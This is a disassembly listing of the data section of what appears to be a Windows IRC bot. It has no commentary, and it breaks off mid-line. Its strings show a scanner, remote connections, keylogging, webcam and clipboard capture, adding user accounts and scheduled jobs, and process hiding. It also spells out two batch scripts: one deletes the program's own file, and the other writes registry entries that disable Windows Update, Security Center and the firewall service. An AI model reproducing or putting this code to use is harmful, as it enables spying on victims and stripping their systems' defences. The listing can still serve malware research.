aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_421598	db    2			; DATA XREF: sub_406142+173o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
unk_4215E8	db    2			; DATA XREF: sub_406142+103o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_421634	db    2			; DATA XREF: sub_406142+87o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 10h
unk_421680	db    2			; DATA XREF: sub_4063A1+156o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '  Failed to start client thread, error: <%d>.',0
		align 10h
unk_4216D0	db    2			; DATA XREF: sub_4063A1+E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '  Client connection from IP: %s:%d, Server thread: %d.',0
unk_421728	db    2			; DATA XREF: seg000:004066D3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '  Failed to start connection thread, error: <%d>.',0
		align 4
unk_42177C	db    2			; DATA XREF: seg000:0040660Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '  Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4067AD+C50o
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4067AD+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_4067AD:loc_4073E8o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_4067AD+BE6o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_4067AD+BD9o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_4067AD+BCCo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_4067AD+BBFo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_4067AD+BB2o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_4067AD+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_4067AD:loc_40734Ao
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_4067AD+B68o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_4067AD+B60o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_4067AD:loc_407300o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4067AD+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4067AD+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_4067AD+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_4067AD+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_4067AD:loc_40728Co
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4067AD+AAAo
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_4067AD+AA2o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_4067AD:loc_407242o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4067AD+A60o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4067AD+A58o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_4067AD:loc_4071F8o
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4067AD+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_4067AD+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_4067AD+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_4067AD+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_4067AD+99Ao
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_4067AD+98Do
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_4067AD+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4067AD+973o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_4067AD+966o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_4067AD+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_4067AD+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_4067AD:loc_4070EDo
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4067AD+903o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4067AD+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4067AD+8EEo
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_4067AD:loc_40708Eo
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4067AD+8B4o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4067AD+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4067AD+835o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_4067AD+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4067AD+81Bo
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4067AD+80Eo
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_4067AD+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_4067AD+7F4o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_4067AD+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4067AD+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_4067AD+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4067AD:loc_406F6Eo
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_4067AD+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_4067AD+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_4067AD+66Eo
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4067AD+661o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_4067AD+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_4067AD+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4067AD+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_4067AD+62Do
					; seg002:004247C0o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_4067AD+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_4067AD+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_4067AD+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_4067AD+5F9o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_4067AD+5ECo
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_4067AD+5DFo
		align 4
aSend		db 'send',0             ; DATA XREF: sub_4067AD+5D2o
					; seg000:0040BBBEo
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_4067AD+5C5o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_4067AD+5B8o
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_4067AD+5ABo
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_4067AD+59Eo
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_4067AD+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_4067AD+584o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_4067AD+577o
					; seg002:00424BD0o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_4067AD+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_4067AD+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_4067AD+550o
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_4067AD+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_4067AD+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_4067AD+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_4067AD+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_4067AD+50Fo
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_4067AD+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_4067AD+4F6o
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_4067AD+483o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_4067AD+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_4067AD+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_4067AD+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_4067AD+44Fo
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_4067AD+442o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4067AD+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_4067AD+428o
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_4067AD+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_4067AD:loc_406BBCo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_4067AD:loc_406B94o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4067AD+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_4067AD+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_4067AD+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_4067AD+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_4067AD+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_4067AD+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_4067AD+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_4067AD:loc_406AE6o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4067AD+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4067AD+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4067AD:loc_406AA1o
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_4067AD+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_4067AD+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_4067AD+292o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_4067AD+285o
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_4067AD+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_4067AD+270o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4067AD:loc_406A0Co
		align 10h
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_4067AD+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_4067AD+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_4067AD+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_4067AD:loc_4069A5o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_4067AD+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_4067AD+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_4067AD+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_4067AD+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_4067AD+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_4067AD+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_4067AD+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_4067AD+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4067AD:loc_4068E2o
					; sub_41AA01+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4067AD:loc_4068B5o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4067AD+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4067AD+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_4067AD+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_4067AD+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4067AD+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4067AD+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_4067AD+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_4067AD+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_4067AD+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4067AD+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_4067AD+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4067AD+Ao
		align 4
dword_42209C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40743A+2F2o
		dd 2029206Ch, 2BBBB02h
aDllTestComplet	db '  DLL test complete.',0
		align 10h
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40743A+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40743A+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40743A+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40743A+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40743A+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40743A+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40743A+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40743A+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40743A+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40743A+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40743A+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40743A+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40743A+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40743A+28o
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_4079C3+72o
		align 10h
aMirc		db 'mIRC',0             ; DATA XREF: sub_407A88+5o
					; sub_410AAA+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_407B0A+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_407BAE+2o
aComspecCSS	db '%%comspec%% /c %s %s',0
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0
		align 4
aCAb3_bat	db 'c:\ab3.bat',0       ; DATA XREF: sub_407D58+29o
		align 10h
a@echoOffEchoRe	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_407D58+14o
		db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
		db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
		db 'erv]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
		db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
		db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
		db 0Ah
		db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
		db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
